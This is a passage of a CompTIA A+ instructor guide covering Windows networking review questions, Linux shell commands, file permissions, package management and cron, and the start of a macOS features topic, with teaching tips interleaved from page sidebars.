the end of each topic or Education). The PC must be configured with an appropriate IP address and
to answer questions. have access to the domain DNS servers. An account with domain administrative
You can use the credentials must be used to authorize the join operation.
review questions
for discussion in 2. You receive a call from a user trying to save a file and receiving an
class or set them for
students to complete
“Access Denied” error. Assuming a normal configuration with no
individually during or underlying file corruption, encryption, or malware issue, what is the
after class. cause and what do you suggest?

The user does not have “Write” or “Modify” permission to that folder. If there is
no configuration issue, you should advise the user about the storage locations
permitted for user-generated files. If there were a configuration issue, you would
investigate why the user had not been granted the correct permissions for the
target folder.

3. What is the significance of a $ symbol at the end of a share name?

The share is hidden from the file browser. It can be accessed by typing a UNC. The
default administrative shares are all configured as hidden.

4. When you set NTFS permissions on a folder, what happens to the files
and subfolders by default?

They inherit the parent folder’s permissions.

5. If a user obtains Read permissions from a share and Deny Write from
NTFS permissions, can the user view files in the folder over the network?

Yes (but he or she cannot create files).

6. A user is assigned Read NTFS permissions to a resource via his user

account and Full Control via membership of a group. What effective NTFS
permissions does the user have for the resource?

Full control—the most effective permissions are applied.

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Lesson 14
Summary
7

You should be able to manage and troubleshoot Windows network settings, Show
configure users and share permissions in workgroup environments, and summarize Slide(s)
Active Directory/domain concepts. Summary

Guidelines for Managing Windows Networking Teaching

Tip
Follow these guidelines to manage Windows networks:
Try to include some
• Document the Internet Protocol (IP) addressing scheme to identify appropriate time at the end
subnet mask, gateway, and DNS settings. Identify hosts that would benefit from of each lesson to
static addressing, but plan to use dynamic configuration for most hosts. check students’
understanding and
• Document wired and wireless connection support and any special answer questions.
considerations, such as proxy settings for Internet access, metered connection
configuration for WWAN, and VPN type and server address.

• Use setup and monitoring checklists and tools to ensure proper configuration
of local OS firewall settings, including public versus private network types and
application restrictions and exceptions.

• Use the principle of least privilege to configure user accounts within security
groups with the minimum required permissions. Ensure that UAC is enabled to
mitigate risks from misuse of administrator privileges.

• Consider replacing password-based local login and SSO authentication with MFA
and/or passwordless authentication and sign-in verification, using email, hard
token, soft token, SMS, voice call, and authenticator applications.

• Design ACL permissions on folders to support policy goals, taking account of

share versus NTFS permissions and inheritance.

• Make training and education resources available to users to help them use File
Explorer navigation and select appropriate network paths for accessing file
shares, printers, mapped drives, and home folders.

• Develop a knowledge base to document use of command-line tools to resolve

common issues (ipconfig, ping, hostname, netstat, nslookup, tracert, pathping,
net user, net use, gpupdate, and gpresult).

• Consider that a large or growing network might be better supported by

implementing an Active Directory domain with support for network-wide security
groups, OUs, group policy, login scripts, and roaming profiles/folder redirection.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 14: Managing Windows Networking

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 Lesson 15
Managing Linux and macOS
1

LESSON INTRODUCTION
So far in this course, you worked mostly with the Microsoft Windows operating Show
system. A CompTIA A+ technician should be capable of supporting diverse OS Slide(s)
environments. The various operating systems you might encounter use different Objectives
interfaces and command syntax, but the functionality of those tools is common
across all types of systems. You will need to configure disks and file systems, user Teaching
accounts, network settings, and software applications. Tip
This lesson steps fully
away from Windows
Lesson Objectives to cover basic
administration and
In this lesson, you will: support procedures
for Linux and macOS.
• Identify features of Linux.

• Identify features of macOS.

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Topic 15A
Show
Slide(s)
Identify Features of
Linux

Teaching
Tip
There are lots of
Identify Features of Linux
commands to get
2

through here, and

Linux can seem CORE 2 EXAM OBJECTIVES COVERED
like an intimidating 1.11 Identify common features and tools of the Linux client/desktop OS.
environment for
students used to
graphical tools, so
be prepared to take Linux is widely adopted as a desktop and server OS because of its high reliability
plenty of time to cover and security. In this topic, you will identify fundamentals of Linux shells, commands,
this topic.
and file system principles to prepare you to support organizations and networks
Show with diverse OS environments.
Slide(s)
Shells, Terminals, and Shells, Terminals, and Consoles
Consoles
The kernel is the software component that provides the core set of operating
Teaching system functions. These include features for managing system hardware and for
Tip communicating between software and hardware. A distribution or distro is the
Explain that Linux can Linux kernel plus a distinctive type of package manager and software repository
be installed with or with a selection of customizable shells, utilities, and applications. Distros also have
without a GUI and can
either community-supported or commercial licensing and support options.
be set to boot to either a
desktop environment or
console by default. Most Shells and Terminals
workstation distros use
a desktop, while most The shell provides a command environment by which a user can operate the OS
server distros don’t. and applications. Many shell programs are available to use with Linux, notably
Note that the desktop Bash, zsh, and ksh (Korn shell). These shells expose the same core command
environment boots from set but are distinguished by support for features such as command history, tab
a shell initially (Bash) and completion, command spelling correction, or syntax highlighting.
uses a display server
(Xorg) and a window Many Linux distros are deployed with no desktop environment. The boot process
manager program launches a terminal user interface connected to the default shell command
(Gnome/KDE, etc).
interpreter. The terminal and shell are connected by a teletype (tty) device that
Explain that a terminal handles text input and output in separate streams:
emulator/pty is a
desktop app that • stdin (0) takes the user’s keyboard input and writes it as data to the tty device for
provides an interface processing by the shell’s command interpreter.
for a command shell.
• stdout (1) reads data generated by the shell from the tty device and displays it
Interaction through the terminal.
Opportunity
If you have a Linux • stderr (2) carries error information.
VM available to
demonstrate, open Working at a terminal is referred to as using a shell interactively. Non-interactive
a terminal on the use means the shell reads commands from a script file.
desktop, show how to
switch consoles (ttys),
and use ps to show the
different connections
hosting the processes.
In tty1, kill X server to
show that it’s a process
running within a shell,
just like the other
console.

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Desktop Environments
Linux distros designed for use as client PCs typically load a graphical desktop
environment at startup. The graphical environment is driven by an open-source
version of the X Window Display system called Xorg (or just X). Various desktop
programs can be launched within X. Examples include Gnome (GNU Object Model
Environment), KDE (K Desktop Environment), Cinammon, and Xfce.

GNU is a recursive acronym standing for “GNU is Not UNIX.” Many of the non-kernel bits
of software developed under the open-source GNU license to replace their proprietary
UNIX equivalents can be used with Linux.

Ubuntu 20 running the GNOME desktop with a virtual terminal window open to run commands
in the Bash command environment.

Within a desktop environment, you can open a terminal emulator to use the default
command shell (or an alternative shell if needed). The terminal emulator runs
within a window on the desktop. The terminal emulator connects to the shell via a
pseudoterminal (pty/pts) interface.

Console Switching
When a graphical environment is installed, the X server occupies one of several
virtual tty consoles, typically tty1. The CTRL+ALT+Fx keys can be used to switch
between consoles. Each console can support a different login prompt and shell.

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Command Interface
Show Linux commands are entered in a standard format:
Slide(s)
• The first “word” input is interpreted as the command. This could be a full or
Command Interface relative path to the executable or just the name of an executable stored in a
directory identified by a PATH environment variable. The command word is
Teaching
completed by the first space character.
Tip
Optionally, identify • Options (switches) are used to change the operation of a command. An option
other features of the can be a single letter (preceded by a single hyphen) or a word (preceded by a
terminal emulator double hyphen). The order in which the options are placed on the command is
environment,
including tab
not important.
completion and
keyboard shortcuts for
• Arguments are values supplied to the command for it to operate on, such as file
scrolling. names. Arguments must be supplied in the correct order for the command’s
syntax.
You might want
to note that some
You can send or redirect the results of one command to another command using a
commands use
two words: apt, for pipe. The pipe symbol is a vertical bar ( | ), which you type between two commands.
instance. You can issue more than one command on a single line by placing a semicolon
( ; ) between the commands. When you press ENTER, the commands execute
sequentially.

Case Sensitivity
Commands, parameters, and file and directory names are all case sensitive in Linux.
For example, ls -l file.data and ls -L File.data would produce
completely different results. Using capitals in the command name would generate
an error message.

Help System
A Linux command reports its function and syntax when executed with the --help
option. The help is often several pages long so it common to pipe the output to
the more command. more shows the results a page at a time. For example: ls
--help | more
Alternatively, you can use man to view the help pages for a particular command.
For example, use man man to view the help pages for the man command!

Also note that terminal emulators typically support TAB completion to help in
entering commands. Use the UP and DOWN arrow keys to scroll through command
history. In some terminals, you can use SHIFT+PAGEUP or SHIFT+PAGEDOWN and
CTRL+SHIFT+UPARROW or CTRL+SHIFT+DOWNARROW to scroll through output.

File Editors
Most Linux files use a plain text format and can easily be edited directly. There are
numerous text file editors. The Nano text editor is a basic example often preferred
by those coming from a Windows environment. To open or create a file, use nano
filepath or nano -l filepath to show line numbers. You can use the cursor
keys to move around the text. Editor and file operations are completed using CTRL+
key shortcuts. For example, CTRL+O writes changes to the file and CTRL+X quits the
editor.

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Many administrators prefer to use vi or vim. These tools have two modes.
Command mode is used for file operations, such as writing changes and closing the
editor. To enter text, you need to switch to insert mode by pressing an appropriate
command key. For example, i switches to insert mode at the current cursor
position, a appends text after the current cursor position, A appends text at the
end of the current line, and o inserts text on a new line below the current line. The
ESC key switches from insert mode back to command mode.
To show line numbers, in command mode, enter :set number. To save a file,
use :w from command mode. To save and quit, use :wq. Alternatively, :q! quits
without saving.

Navigation Commands
Everything available to Linux is represented as a file in a unified file system. For Show
example, the first fixed disk would normally be represented in the file system by / Slide(s)
dev/sda. A second storage device—perhaps one attached to a USB port—would Navigation Commands
be represented as /dev/sdb.
Teaching
When Linux boots, a system kernel and virtual file system are loaded to a RAM
Tip
drive. The unified file system identifies the location of the persistent root partition
from the appropriate storage device and loads the file system stored on the disk. It’s not a content
example, so don’t
Unlike Windows, Linux does not use drive letters like C: or D:. The unified file system go into too much
starts at the root, represented by /. Directories and subdirectories can be created detail, but explain the
from the root to store files. Linux’s file system hierarchy standard (FHS) specifies main organizational
principles of FHS (root,
how the directories under root should be named and where types of files should be home directories, and
placed. For example, the /home directory contains subdirectories for each user to separate areas for
store personal data and the /etc directory contains configuration files. configuration files,
shared files, log files,
and executables).

Viewing the root directory and file system hierarchy standard (FHS) subdirectories in Ubuntu Linux.

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The core commands that you should know to navigate the Linux file system include
pwd, cd, ls, and cat.

pwd Command
pwd “prints” the working directory, though “printing” will typically mean “display
on the terminal,” unless stdout is redirected. The working directory is important
because any commands you use which don’t specify a path as an argument will
default to the working directory. The prompt on some distros will show your current
working directory or the tilde (~), which indicates you are in your home directory.

cd Command
cd is used to change the working directory. Typical syntax would be:
• Change directory to /etc. This is an absolute path from root (begins with /) so
will work regardless of your current directory:

cd /etc
• Change your directory to a subdirectory called documents. This is a relative
path. The documents directory must exist below the current directory:

cd documents
• Change your directory to the parent directory of the one you are currently
working in:

cd ..

ls Command
ls lists the contents of a directory, in a similar way to dir at the Windows
command prompt. Popular parameters include -l to display a detailed (long) list
and -a to display all files including hidden or system files. The following example
shows the entire contents of the /etc directory in a detailed format:
ls -la /etc

cat Command
cat returns the contents of the files listed as arguments. The -n switch adds line
numbers to the output. Often, cat output is piped to a pager (cat | more or
cat | less) to control scrolling. You can also redirect the output to another file.
In Linux, there are overwrite and append redirection operators:
• Overwrite any data at the destination file:

cat > file

• Append the cat data to the destination file:

cat >> file

You can use these redirection operators with other commands too.

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Search Commands
Linux supports very fast and accurate file system search commands. Show
Slide(s)
find Command Search Commands
The find command is used to search for files. The basic syntax is find path
Teaching
expression, where path is the directory in which to start the search and Tip
expression is the data to match. An option is used to determine what the
expression should search on, such as -name, -size, -user (owner), or -perm You won’t be able to
spend much time on it
(permissions). The -type option locates classes of files, but where Windows file in class, but encourage
types are defined by extensions, in Linux, type distinguishes files, directories, block students to do further
devices (disks), network sockets, symbolic links, and named pipes. reading and seek
practice on use of
grep Command regular expressions.

The grep (Globally search a Regular Expression and Print) command is used to
search and filter the contents of files. Its output prints (displays) the lines that
contain a match for the search string. The search string can be a simple text
value to match (a literal) or can use a pattern-matching language called regular
expressions (regex).
grep is especially useful for searching long files such as system logs. For example,
the following command displays only the lines in the Linux system log file for
messages that contain the text uid=1003, ignoring the case of the text with the
-i switch:
grep -i “uid=1003” /var/log/messages
The grep command can also be used as a file name search tool by piping a
directory list as input. For example, ls -l | grep audit command returns
a long listing of any files in the current directory whose name contains audit.

You can pipe the output of many other commands to grep to apply different types
of filters.

Metacharacters and Escaping

When writing expressions, you need to understand how to escape metacharacters.
A metacharacter is one that is interpreted by the shell in a special way. When you
write an expression, you might want asterisk ( * ) to match any number of any
characters. This can be accomplished using the * metacharacter. If you want to find
text that contains an asterisk character, you must escape it. Similarly, an expression
that contains spaces (blanks) must be escaped.
There are three ways to escape strings:
• \ escapes the next character only. For example, \* treats * as a literal character;
\\ treats \ as a literal character.
• Single quotes ( ‘ ’ ) performs strong escaping. Everything within single quotes
is treated as a literal character. For example, ‘$(pwd) * example one’
results in the expression: $(pwd) * example one

• Double quotes ( “ ” ) performs weak escaping. This escapes metacharacters

but expands variables and allows a feature called command substitution. For
example, “$(pwd) * example one” expands to use the output of the
pwd command: \home\david * example one

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File Management Commands

Show File management commands are used to move, copy, and delete data.
Slide(s)
File Management cp Command
Commands
cp is used to create a copy of files either in the same or different directory with the
same or different name. For example:
• Copy file1.txt in the current working directory to a new file called file1.
old in the same directory:
cp file1.txt file1.old
• Copy the file hosts from the directory /etc into the directory /tmp, keeping
the file name the same:

cp /etc/hosts /tmp
• Copy all files beginning with the name message from the /var/log
directory into /home/david. The -v option displays the files copied:

cp -v /var/log/message* /home/david

mv Command
The mv command is used to either move files from one directory to another or
rename a file. For example:
• Move the file data.txt from the /home/david directory to the /tmp
directory, keeping the file name the same:

mv /home/david/data.txt /tmp
• Move and rename the file alarm.dat in the current directory to alarm.
bak in /tmp:
mv alarm.dat /tmp/alarm.bak
• Rename the file app1.dat in the /var/log folder to app1.old:

mv /var/log/app1.dat /var/log/app1.old

rm Command
The rm command can be used to delete files. It can also be used with the -r
option to delete directories. For example:
• Remove the single file data.old from the current working directory:

rm data.old
• Remove all files ending in .bak from the /var/log directory:

rm /var/log/*.bak
• Remove the contents of the entire directory tree underneath the folder /home/
david/data:
rm -r /home/david/data

Use the -r switch with caution, and remember that Linux commands operate without
confirmation prompts. There is no opportunity to cancel.

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df and du Commands
The df and du commands check free space and report usage by the device,
directory, or file specified as the argument:
• df (“disk free”) enables you to view the device’s free space, file system, total size,
space used, percentage value of space used, and mount point.

• du (“disk usage”) displays how a device is used, including the size of directory
trees and files within it.

User Account Management

In Linux, the root user, also known as the superuser, is an administrative account Show
with every available privilege. This account can do anything on the system. You Slide(s)
should only use this account when absolutely necessary. Most Linux distributions User Account
prompt you to create a regular user account during guided setup. This is the Management
user you should log on for day-to-day tasks. You can use special commands to
temporarily elevate the privilege of this account rather than remaining logged in as Teaching
root. Tip
Explain the two
su Command methods of running
commands with root
The su (switch user) command switches to the account specified by username: privileges. Stress that
su username. It is possible to switch to the superuser account by omitting the these privileges should
only be used when
username argument. The command will prompt the user for the password of the
absolutely necessary.
target account before switching to it.
Distinguish the way
Using su without an option retains the original user’s profile and variables. The effective group
switched user also remains in the home directory of the original user. Using su - membership works
changes to the root user and launches a new shell under the context of root. This is in Linux with effective
a better practice. permissions through
Windows group
membership.
sudo Command
The sudo (superuser do) command allows any account listed in the /etc/
sudoers file user to run specified commands with superuser privilege level.
In distributions that use sudo, this process is handled by guided setup. The user
enters the sudo command followed by the command the user wishes to run.
The user might be asked to confirm his or her password if it has not been cached
recently.

The main advantage of sudo over su is that the root password does not have to be
shared between multiple administrators.

User Management Commands

User settings are stored in the /etc/passwd file and group settings are stored
in the /etc/group file. The user password is typically stored as an encrypted
hash in the /etc/shadow file, along with other password settings, such as age
and expiration date. The commands useradd, usermod, and userdel can be
used to add, modify, and delete user information. The command passwd can be
used to change the password.

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Group Management Commands

Each user account can be assigned to a group as a means of allocating permissions
over files. The groupadd, groupmod, and groupdel commands can be used
to manage group memberships.
A user can belong to many groups but can only have one effective group ID at any
one time. The effective group ID is listed for the user account in /etc/passwd
and can be changed using the newgrp command.

File Permissions Commands

Show Each file has a set of permissions that determines the level of access for any given
Slide(s) user. Linux uses a permissions system with three rights:
File Permissions • Read (r) gives permission to view the contents of a file or directory.
Commands
• Write (w) gives permission to modify or delete the object. In the case of
Teaching
directories, this allows adding, deleting, or renaming files within the directory.
Tip
Explain the permission • Execute (x) gives permission to run an executable file or script. For directories,
triplets (for owner, execute allows the user to do things such as change the focus to the directory
group, world), and and access or search items within it.
show how they
convert to octal For each object, these permissions are set for the owner, for the group the owner
(rwx=7, r-x=5, r--=4,
belongs to or that the object has been assigned to, and for other users (“the world”).
rw-=6, ---=0).
Using symbolic notation, each permission is allowed (r or w or x) or denied (-).
Note that only the
superuser can change For example, if you run ls -l to obtain a long directory listing, the permissions
ownership. The owner will be shown as follows:
can change group,
however. drwxr-xr-x 2 bobby admins Desktop
-rwx-r-x r-- 1 bobby admins scan.sh
The leading character designates the file type. For example, - represents a regular
file and d indicates a directory. The permissions for the Desktop directory show
that the owner (bobby) has full (rwx) permissions, whereas the group (admins)
and others have read and execute but not write (r-x). For the scan.sh file, the
user has read/write/execute (rwx) permission, the group has read and execute
permission (r-x), and world has read permission only (r--).
Permissions can also be expressed numerically, using the octal value format.
An octal value can represent up to eight digits (0–7). 0 represents deny (no
permissions), read=4, write=2, and execute=1. You can add those values together to
get a particular combination of permissions.
For example, a file with numeric permission 0754 can be converted to symbolic
notation as follows:
• The leading zero identifies the value as an octal but can often be omitted.

• 7 in the first position grants all rights to the owner: 4(r)+2(w)+1(x).

• 5 in the second position grants read and execute to the group: 4(r)+0+1(x).

• 4 in the third position grants read to world: 4(r)+0+0.

The other common combination is 6 (read and write).

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chmod Command
The chmod command can be used to secure files and directories, using either
symbolic or octal notation. Only the owner can change permissions.

Modifying permissions using the chmod command.

Show
Slide(s)
chown Command
Package Management
The command chown allows the superuser to change the owner of a file or Commands
directory. Note that this right is reserved to superuser or sudoer. Even if a regular
Teaching
user owns a file, they cannot use chown. The file owner can change the group
Tip
using the chgrp command.
Explain that the
package management
Package Management Commands tool is strongly
associated with the
Linux software is made available both as source code and as pre-compiled distribution (APT for
applications. A source code package needs to be run through the appropriate Debian and YUM for
RedHat) but that they
compiler with the preferred options. Pre-compiled packages can be installed using
work in broadly similar
a package manager. The choice of package manager is one of the basic distinctions ways.
between distro types:
Note that apt is now
• Advanced Packaging Tool (APT) is used by Debian distributions and works with favored over apt-get
.deb format packages. but works in a similar
way (apt update, apt
• Yellowdog Updater, Modified (YUM) is used by Red Hat distributions and works upgrade, and apt
with .rpm format packages. install).
Explain that antivirus
software is available
Distributions and Repositories for Linux, but many
distributions explicitly
A distribution contains any precompiled software packages the vendor or sponsor
state that it should
considers appropriate. Copies of these packages (including any updates) will not be required.
be posted to a software repository. Often the vendor will maintain different Do point out risks
repositories. For example, there may be one for officially supported package from malicious
versions, one for beta/untested versions, and one for “at own risk” unsupported software inserted
packages. into legitimate
repositories. Despite
The package manager needs to be configured with the web address of the software some spectacular
repository (or repositories) that you want to use. It can then be used to install, recent examples,
uninstall, or update the software. The repositories are configured automatically by these exploits are
uncommon, and it is
the guided setup process. relatively unlikely that
antivirus software
would detect them
anyway.

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Listing package manager sources in Ubuntu Linux.

The integrity of a package is usually tested by making a cryptographic hash of the

compiled package, using a function such as MD5, SHA-256, or GNU Privacy Guard
(GPG) signing. The hash value and function are published on the package vendor’s
site. The package manager validates the hash or signature before proceeding with
an update or installation.

apt-get Command
apt-get is a command interface for APT. The following basic commands are used to
update/patch and install software.
• Refresh the local database with information about the packages available from
the repository:

apt-get update
• Update all packages with the latest versions:

apt-get upgrade
• Install a new application:

apt-get install PackageName

apt-get is an older means of interacting with APT at a terminal. The apt

command tool is now the preferred means of doing this. apt uses identical sub-
commands for these basic uses.

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yum Command
yum is the command interface for YUM. The following basic commands are used to
update/patch and install software.
• Refresh the local database with information about the packages available from
the repository:

yum check-update
• Update all packages with the latest versions:

yum update
• Install a new application:

yum install PackageName

Antivirus
Some people feel that virus detection is unnecessary for Linux when used as a
desktop PC OS. The way the Linux operating system is built (and the fact that there
are many distributions) means that unlike Windows, it is harder to write a virus
that will affect every Linux system. Different shells, a simpler security system, and
software package managers with authorized software repositories all mean that a
virus writer has a harder job to infect a Linux system.
This does not mean that Linux is risk-free, however, and each installation should
be assessed for security controls to suit the use to which it is put. There have been
several high-profile cases of either Trojans or serious vulnerabilities in software
distributed through repositories or in popular third-party tools. Any high value
target could be subject to specific, targeted attacks against it. Where Linux is
used as the platform for a web server, for instance, it is imperative to configure
appropriate security controls. Products such as Clam AntiVirus (ClamAV) and the
Snort Intrusion Prevention System (IPS) can be used to block varied malware
threats and attempts to counteract security systems. Though now owned by Cisco,
both ClamAV and Snort are open-source products made freely available under the
General Public License (GPL).
Another scenario for installing Linux anti-malware software is to detect infected
files and prevent onward transmission via email or file transfer to Windows-based
systems.

Process Monitoring Commands

Every process is assigned a unique process ID (PID) when it is started so that the Show
system and users can identify the process. This PID is a non-negative integer that Slide(s)
increases for each new process that is started. PID 1 is allocated to the init daemon, Process Monitoring
which is the first process to start and is the parent of all other processes on the Commands
system. Processes started after this, whether by the system or by the user, are
assigned a higher available number. Teaching
Tip
ps Command Explain that top is
generally used in
The ps command invokes the process table, a record that summarizes the current the same way as
running processes on a system. When the command is run without any option, Task Manager to
monitor system
it displays the processes run by the current shell with details such as the PID, the
activity/performance
terminal or pseudoterminal associated with the process, the accumulated CPU time, interactively. ps is
and the command that started the process. However, different options may be usually used more
used along with the command to filter the displayed fields or processes. for non-interactive
logging/reporting.

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Listing all processes on the system. Note that a question mark indicates that a
process has no controlling terminal.

top Command
Like ps, the top command lists all processes running on a Linux system. It acts as a
process management tool by enabling you to prioritize, sort, or terminate processes
interactively. It displays a dynamic process status, reflecting real-time changes.

Listing the state of running processes.

Different keystrokes within this tool execute various process management actions.
Some of the frequently used command keys include the following.
• ENTER Refresh the status of all processes.

• SHIFT+N Sort processes in the decreasing order of their PID.

• M Sort processes by memory usage.

• P Sort processes by CPU usage.

• u Display processes belonging to the user specified at the prompt.

• q Exit the process list.

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Network Management Commands

In Linux, Ethernet interfaces are classically identified as eth0, eth1, eth2, and Show
so on, although some network packages now use different schemes, such as en Slide(s)
prefixes. In Linux, you need to distinguish between the running configuration and Network Management
the persistent configuration. The persistent configuration is the one applied after Commands
a reboot or after a network adapter is reinitialized. The method of applying an IP
configuration to an adapter interface is specific to each distribution. Teaching
Tip
Historically, the persistent configuration was applied by editing the /etc/
network/interfaces file and bringing interfaces up or down with the ifup It’s not a content
example, but take
and ifdown scripts. Many distributions now use the NetworkManager package,
some time to explain
which can be operated using a GUI or the nmcli tools. Alternatively, a network the different tools
configuration might be managed using the systemd-networkd configuration used by distributions
manager. to manage the
network. Note
ip Command the /etc/network/
interfaces config file
When it comes to managing the running configuration, you also need to distinguish is now considered
legacy, with modern
between legacy and current command packages. ifconfig is part of the legacy
distros using
net-tools package. Use of these commands is deprecated on most modern Linux NetworkManager,
distributions. ifconfig can still safely be used to report the network interface systemd.networkd,
configuration, however. and/or Netplan.

net-tools has been replaced by the iproute2 package. These tools can interface
properly with modern network configuration manager packages. As part of the
iproute2 package, the ip command has options for managing routes as well as
the local interface configuration. The command ip addr replicates the basic
reporting functionality of ifconfig (show the current address configuration). To
report a single interface only, use ip addr show dev eth0. The ip link
command shows the status of interfaces, while ip -s link reports interface
statistics.
The ip link set eth0 up|down command is used to enable or disable an
interface, while ip addr add|delete can be used to modify the IP address
configuration. These changes are not persistent and apply only to the running
configuration, unless run as part of a startup script.

dig Command
dig is powerful tool for gathering information and testing name resolution. It is
installed on most Linux distributions. Output is displayed in an answer section.
Output will include the IP address mapped to the domain name, the DNS server
that answered the query, and how long it took to receive that answer.
The basic syntax is: dig
domainame
The command dig @server domainname will resolve the domain name
against the DNS server specified by the server argument.

Samba
Linux has a Server Message Block (SMB)–compatible file sharing protocol called
Samba. Samba enables the integration of Linux and Windows systems. When
added to a Linux workstation, that workstation can use the Windows file and print
sharing protocol to access shared resources on a Windows host. When the Samba
service is added to a Linux server, the server uses the SMB protocol to share
directories to Windows clients.

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Backup and Scheduling Commands

Show Linux does not have an “official” backup tool. You could create a custom backup
Slide(s) solution using the cron task scheduler and file copy scripts. Backup could also use
Backup and compression utilities, such as tar or gzip. There are plenty of commercial and
Scheduling Commands open-source backup products for Linux, however. Some examples include Amanda,
Bacula, Fwbackups, and Rsync.
If you want to run a batch of commands or a script to perform a backup or other
maintenance task, there is a scheduling service called cron. Every user of the
system is allowed to schedule programs or tasks in their own personal crontab
(cron table). These tables are merged by cron to create an overall system schedule.
Every minute, the cron service checks the schedule and executes the programs for
that period.
• To add or delete a scheduled job, use the crontab editor. To review a user’s
crontab jobs, enter the command:

crontab –l
• To remove jobs from the scheduled list, use the command:

crontab -r
• To enter the editor, run the command crontab –e. crontab uses the vi editor
by default.

The basic syntax for scheduling a job using crontab includes the following:
• mm—specifies the minutes past the hour when the task is to initiate (0–59).

• hh—specifies the hour (0–23).

• dd—can be used to specify the date within the month (0–31).

• MM—specifies the month in either numerical or text format (1–12 or jan,

feb, mar).

• weekday—sets the day of the week (1–7 or mon, tue, wed).

• command—the command or script to run. This should include the full path to
the file.

It is important to note that any of the time/date related parameters can be replaced
by wildcards:
• * specifies any or other characters.

• , allows multiple values.

• - allows a range of values.

• /2 indicates every other.

For example, consider the following crontab entry:

§ 15 02 * * 5 /usr/bin/rsync –av --delete /home/
sam/mount/rsync
This would cause the system to run the rsync backup program at 2:15 a.m. on a
Friday (day 5), synchronizing the /home/sam directory with the /mount/sync
folder (which could be a mount point to an external backup device).

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Review Activity:
Features of Linux
3

Answer the following questions: Show

Slide(s)
Review

1. Which Linux command will display detailed information about all files Teaching
and directories in the current directory, including system files? Tip
ls -la Take some time at
the end of each topic
2. A command has generated a large amount of data on the screen. What to answer questions.
could you add to the command to make the output more readable? You can use the
review questions
Either | more or | less. for discussion in
class or set them for
3. What command would allow you to delete the contents of the folder students to complete
individually during or
/home/jaime/junk and all its subdirectories? after class.
rm -r /home/jaime/junk

4. What command could you use to move a file names.doc from your
current directory to the USB stick linked to folder /mnt/usb?

mv names.doc /mnt/usb

5. A file is secured with the numeric permissions 0774. What rights does
another user account have over the file?

Read-only.

6. Which Linux command allows a user to run a specific command or

program with superuser/root privileges?

sudo

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Topic 15B
Identify Features of macOS
7

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 1.10 Identify common features and tools of the macOS/desktop OS.
Identify Features of
macOS
Mac computers from Apple use the macOS operating system. Mac users tend to be
Teaching found in art, music, graphic design, and education because macOS includes apps
Tip geared to those audiences. In this topic, you will examine some of the important
It is not always features and functions of macOS.
possible to provision
hands-on experience
with macOS, so be Interface Features
prepared to spend a
little extra time on this If you are using an Apple Mac computer for the first time, you will notice that
topic. the desktop and user interface is like a Windows-based PC in some respects
but different in others. As with Windows, a Mac boots to a graphical desktop
Show
environment. Any apps that have been installed and configured to launch at boot
Slide(s)
will also start.
Interface Features
At the top of the screen is the menu bar. This is always present with all apps, but
Interaction the menu titles change to show commands for the active window.
Opportunity
If you can provision
Macs for students to
demonstrate usage,
that will help their
understanding.
Menu bars with different apps running. (Screenshot reprinted with permission from Apple Inc.)

To the left of the menu bar is the Apple menu. This can be used to report support
information (About) and log out or shut down the computer.

Dock
The dock at the bottom of the screen gives one-click access to your favorite apps
and files, similar to the taskbar in Windows. Apps that are open in the dock display
a dot below the icon.

Spotlight Search
Spotlight Search can be used to find almost anything on macOS. To start a new
search, click the magnifying glass in the menu bar or press COMMAND+SPACE to
bring up the search box.

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Terminal
The Terminal can be used to access the command-line environment, which uses
either the Z shell (zsh) or Bash. Older macOS versions use Bash, while zsh is the
default from Catalina up.

Mission Control and Multiple Desktops

The Mission Control feature is used for window management and enables the user
to set up multiple desktops with different sets of apps, backgrounds, and so on.
To set up and remove desktops, activate Mission Control with the F3 key. Once
you have activated a new desktop, if you want an app to only run on Desktop 2,
click its window and drag it onto the Desktop 2 screen at the top. To switch between
desktops, press the F3 key and choose a desktop or use CONTROL+LEFT or
CONTROL+RIGHT or a 3-/4-finger swipe gesture.

Mission Control is used to switch between windows and manage multiple desktops.
(Screenshot reprinted with permission from Apple Inc.)

System Preferences
The System Preferences panel is the equivalent of the Windows Settings app. It is Show
the central “go-to” place for changing settings and network options and optimizing a Slide(s)
macOS configuration. System Preferences

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System Preferences. (Screenshot reprinted with permission from Apple Inc.)

Among other things, System Preferences can be used to configure input device
options. You should be aware of some differences between the input devices used
for Macs and those used for PCs.

Apple Keyboards
Where PC and Linux keyboards use CTRL, ALT, ALTGR, and START modifier
keys, Mac keyboards have an APPLE/POWER key and COMMAND, OPTION, and
CONTROL keys. COMMAND is closest to the CTRL key in terms of functionality, and
OPTION is usually mapped to ALT.
Use the Keyboard pane in System Preferences to map keys if using a non-Apple
keyboard to operate a Mac.

Apple Magic Mouse and Trackpad and Gesture Support

Macs do not support touch screen interfaces, but they do support gesture-enabled
Magic Mouse and Magic Trackpad peripherals. To see what gestures are available
on the Mac or to change any of the settings, open the Trackpad prefpane.

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Configuring the trackpad. (Screenshot reprinted with permission from Apple Inc.)

Displays
The Displays prefpane allows you to scale the desktop, set the brightness level,
calibrate to a given color profile, and configure Night Shift settings to make the
display adapt to ambient light conditions.

Accessibility
The Accessibility prefpane is used to configure assistive vision and sound options,
such as VoiceOver narration of screen elements, cursor size and motion settings,
zoom tools, display contrast and font sizes, and captioning.

Accessibility prefpane showing Zoom options. (Screenshot reprinted with permission Apple Inc.)

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Security and User Management

Show An Administrator account and an optional Guest User account are created when
Slide(s) macOS is installed. To add a new account, open System Preferences > Users &
Security and User Groups.
Management
Apple ID
Each local account can be associated with an Apple ID. This Apple ID is used for
purchases from the App Store, accessing iCloud and other functions. A user may
already have an Apple ID from previous iTunes purchases or an iOS device.
You can sign in and out of your Apple ID using the button on the System
Preferences home page.

The Sign In button in System Preferences allows you to link an Apple ID to the local account.
(Screenshot reprinted with permission from Apple Inc.)

Security & Privacy

As with Windows, macOS has options to configure what analytics/telemetry data
and personalized information can be collected, plus permissions for apps to use
features such as the location service or camera or data stores such as contacts and
calendar. You can adjust these options via the Security & Privacy prefpane.

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Security & Privacy prefpane showing privacy options. (Screenshot reprinted

with permission from Apple Inc.)

In some prefpanes, changing settings requires administrator approval. Select the lock
icon and authenticate to make those options available.

Internet Accounts and Keychain

The Internet Accounts prefpane can be used to associate other email and cloud
accounts with your login. The keychain helps you to manage passwords for these
accounts, other websites, and Wi-Fi networks. This feature is also available as iCloud
Keychain, which makes the same passwords securely available across all macOS
and iOS devices. The keychain makes password management much easier, but
occasionally problems can happen. If there are any problems, they will be identified
by the Keychain Access app (in Utilities).
If you have forgotten a password, search for the website by typing into the search
box. From the results, select the password that you want to view or change. Check
